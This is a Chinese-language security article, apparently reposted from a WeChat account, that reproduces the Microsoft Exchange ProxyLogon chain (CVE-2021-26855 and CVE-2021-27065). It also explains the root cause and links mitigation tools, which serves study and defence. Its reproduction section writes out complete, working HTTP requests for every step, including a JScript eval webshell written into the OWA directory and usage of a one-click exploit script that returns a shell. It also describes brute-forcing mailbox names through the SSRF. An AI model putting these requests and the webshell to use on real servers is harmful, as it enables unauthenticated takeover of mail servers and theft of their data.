2021年3月份,微软公布了多个Microsoft Exchange的高危漏洞,通过组合利用CVE-2021–26855和CVE-2021–27065等等一系列漏洞(如图 所示)可以在未经身份验证的情况下远程获取服务器权限,这个攻击链被安全研究员Orange Tsai命名为ProxyLogon,当时有上千台Exchange服务器被植入了webshell后门;
CVE-2021-26855 是 Exchange 中的服务器端请求伪造 (SSRF) 漏洞,允许攻击者发送任意HTTP请求并以Exchange服务器身份进行身份验证;
CVE-2021-26857是统一消息服务中的不安全反序列化漏洞,利用此漏洞能够在 Exchange 服务器上以SYSTEM身份运行代码;
CVE-2021-26858是Exchange中的身份验证后任意文件写入漏洞,可以利用此漏洞将文件写入服务器上的任何路径;
CVE-2021-27065是Exchange中的身份验证后任意文件写入漏洞。可以利用此漏洞将文件写入服务器上的任何路径。
本节主要跟读者们分析复现CVE-2021–26855和CVE-2021–27065漏洞。
影响版本
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
漏洞复现
方法一:手工进行复现
ProxyLogon的整个攻击过程为利用SSRF漏洞访问内部资源,通过设置Cookie中的 X-BEResource字段内容为要访问的资源链接即可通过SSRF漏洞访问内部资源,利用过程如图 所示;
-
通过SSRF漏洞攻击,访问Autodiscover.xml获取LegacyDN信息
-
-
然后通过合法的SID,获取exchange的有效Cookie
-
最后通过有效的Cookie,对OABVirtualDirectory对象进行恶意操作,写入Webshell,达到控制目标的效果
1. 获取Server name,访问目标/ecp/xx.jsWeb路径,从返回数据包中获取目标的计算机名,如图 所示;
2. 通过SSRF漏洞读取Autodiscover.xml文件,获取LegacyDN的值。Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程,如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。Autodiscover.xml文件中包含有LegacyDN 的值,需要提供一个邮箱账户,然后通过ssrf访问后端功能获取到LegacyDN的值,如图 所示。
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: X-BEResource=WIN-R7SC4CG092F/autodiscover/autodiscover.xml?a=~1942062522
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<EMailAddress>administrator@rd.com</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
a.url中的/ecp/target.js不是绝对的,可以是其他的路径/ecp/xxxxxxxx.png;
b.X-BEResource 用于代理请求,其原本格式应该是 [fqdn]~BackEndServerVersion,BackEndServerVersion需要大于1941962752;
c.WIN-R7SC4CG092F.rd.com:443 为目标地址;
d.LegacyDN:/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=86114682a4154dc2a67887830ff6c8b3-Admin;
需要注意的为<EMailAddress>的值需要为目标中存在的邮箱,如果当前的邮箱不存在的话,那么返回的错误500,如图 所示;
那么就可以通过利用这个SSRF来对邮箱用户进行爆破,如果返回了ErrorCode 500邮箱地址不存在的话就可以加以判断用户邮箱不存在。
3.通过向MAPI发送 HTTP 请求来获取目标用户的SID,请求代表计算机帐户用户转发到MAPI并导致访问错误,该错误返回数据包包含目标用户的SID。
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;
Content-Type: application/mapi-http
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: {E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456
/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=86114682a4154dc2a67887830ff6c8b3-Admin"\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
4.在获得用户的 SID 后,可以冒充管理员身份向服务器发送特制的 POST 请求,从而在服务器上对自己进行身份验证来获取到Exchange的有效Cookie,这里需要获取两个值ASP.NET_SessionId和msExchEcpCanary这两个值,如图 所示;
图 获取ASP.NET_SessionId和 msExchEcpCanary
请求包含一个标头,该msExchLogonMailBox为进行身份验证的用户的SID值。POST请求的主体还包含该用户的SID,作为响应,服务器返回两个名为ASP.NET_SessionId,msExchEcpCanary的值。
5.最后通过构造有效的Cookie,获取RawIdentity的值:
POST /ecp/q1k11aa.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.&a=~1942062522;ASP.NET_SessionId=db04c074-239b-403a-95f8-3b727ee2322d;msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.;
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
6.通过获取的RawIdentity值进行文件上传操作,ExternalUrl后面跟的为webshell的内容,如图 所示;
POST /ecp/q1k11aa.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.&a=~1942062522;ASP.NET_SessionId=db04c074-239b-403a-95f8-3b727ee2322d;msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.;
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "f53586c4-7444-43f2-b577-27b4c32a9be6"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
7.保存Webshell到指定目录中,FilePathName值为自定义保存Webshell的目录和文件名,如图 所示;
POST /ecp/q1k11aa.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.&a=~1942062522;ASP.NET_SessionId=db04c074-239b-403a-95f8-3b727ee2322d;msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.;
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "f53586c4-7444-43f2-b577-27b4c32a9be6"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}
8.访问上传的Webshell,验证漏洞是否利用成功,如图 所示;
POST /owa/auth/BF2DmInPbRqNlrwT4CXo.aspx HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
方法二:使用exchange-exp.py进行一键复现
Exchange-exp.py是安全研究员jeningogo在Github上公布的对ProxyLogon利用链基于Python语言开发的EXP,它可以自动进行攻击利用并返回一个交互式的shell。
Usage: python .\exchange-exp.py <target> <email>
Usage: python .\exchange-exp.py mail.exchange.cn administrator@exchange.cn
例如使用python .\exchange-exp.py 192.168.0.100 administrator@rd.com命令进行利用,成功返回shell,如图 所示;
可以看到返回了一个交互式的shell,例如在这个交互式的shell上执行whomi /all命令,如图 所示。
漏洞原理
CVE-2021-26855 预授权 SSRF
CVE-2021–26855允许外部攻击者绕过MS Exchange身份验证机制并冒充任何用户。通过伪造服务器端请求,攻击者可以发送任意 HTTP 请求,该请求将被重定向到代表邮件服务器计算机帐户的另一个内部服务。要利用此漏洞,我们必须使用一个特殊的POST请求目录中的静态文件,该文件的目录要求无需身份验证即可读取但是不需要文件的存在,例如/ecp/x.js,然后POST请求通过设置Cookie中X-BEResource的字段来访问后端的服务。
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
BEResourceRequestHandler用于处理/ecp中通过IsResourceRequest检查的静态资源请求。此函数验证提供的URL是否以许多静态文件扩展名(例如js、jpg、ico、png、ttf等)之一结尾。由于此处理程序位于前端,因此不会验证完整的静态文件路径,因此将向此处理程序发送带有.js后缀的随机文件名。
同时BEResourceRequestHandler使用X-BEResource Cookie构建BackEndServer,将字符串拆分为“~”,“~”后面即为verison版本号,并将第一个元素分配给后端的“fqdn”,将第二个元素解析为整数版本,然后构建ServerInfoAnchorMailbox:
然后使用GetTargetBackEndServerUrl方法在静态资源处理程序中计算后端URL,该方法从静态资源处理程序中检索后端URL,并使用Cookie直接分配后端目标。前端代理首先使用“GetTargetBackendServerURL”方法来确定应将HTTP请求转发到哪个后端URL,我们需要注意BackEndServer.Version < Server.E15MinVersion时,ProxyToDownLevel设置为true,Port设置为443:
protected virtual Uri GetTargetBackEndServerUrl() {
this.LogElapsedTime("E_TargetBEUrl");
UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
if (urlAnchorMailbox != null) {
result = urlAnchorMailbox.Url;
UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
clientUrlForProxy.Port = 444;
if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
this.ProxyToDownLevel = true;
RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
clientUrlForProxy.Port = 443;
result = clientUrlForProxy.Uri;
this.LogElapsedTime("L_TargetBEUrl");
HttpProxy\ProxyRequestHandler.cs
此时,理论上,我们可以通过设置特定的头并将请求发送到/ecp中的“静态”文件来控制用于这些后端连接的主机。UriBuilder的ToString方法(用于构造 URI)对我们的输入执行简单的字符串连接(如图 所示)。因此,如果我们将 Host 设置为"example.org/api/endpoint/#",我们就可以有效地完全控制目标URL。
有了这些信息,我们就可以通过以下HTTP请求来演示SSRF了:
1.请求一个不存在的/ecp静态文件,这里是/iey8.js,如何在Cookie的X-BEResource值的字段来访问后端的服务,因为BEResourceRequestHandler使用X-BEResource Cookie构建BackEndServer,但是会返回500错误,如图 所示;
2.在EcpProxyRequestHandler.AddDownLevelProxyHeaders方法中,可以通过修改Cookie中的服务器版本来防止GetTargetBackEndServerUrl设置此值。如果版本高于Server.E15MinVersion,则ProxyToDownLevel保持为false。通过此更改,我们成功地向后端服务(自动发现服务)进行了身份验证,如图 所示。
CVE-2021-27065 授权后任意文件写入
在Exchange服务器上依次打开“管理中心”“服务器” “虚拟目录”“OAB虚拟目录”,如图 所示;
由于外部URL的内容可控,所以可在URL写入一句话木马(其中URL必须以http开头,以保持外部URL参数的合法性),内容为“http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> ”,如图 所示;
之后可以通过重置虚拟目录,来把配置内容写入指定的路径,这里写入为“\\127.0.0.1\c$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\BF2DmInPbRqNlrwT4CXo.aspx”,直接写入Exchange Server的Web目录,如图 所示。
从数据包中可以看到请求的路径为“/ecp/DDI/DDIService.svc/*”,第一个数据包主要作用是获取OAB的RawIdentity值,如下图所示;
第二个数据包主要作用是控制外部URL的内容,这里是写入我们的木马,第一个数据包获取OAB的RawIdentity值用在这里,如图 所示;
修复建议
针对上述漏洞,微软发布了一款工具,用于帮助用户检测Exchange是否被黑客利用相关漏洞入侵。链接如下:https://github.com/microsoft/CSS-Exchange/tree/main/Security
|
|
|
通过 URL 重写配置缓解 CVE-2021-26855
|
|
该脚本包含4个缓解措施,以帮助解决以下漏洞:cve-2021-26855、cve-2021-26857、cve-2021-27065、cve-2021-26858
|
http-vuln-cve2021-26855.nse
|
nmap扫描脚本,检测指定URL是否存在CVE-2021-26855漏洞
|
|
该脚本检查CVE-2021-26855、26858、26857和27065漏洞是否存在被利用的迹象
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065
广告
有需要红队培训请私聊我。
本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。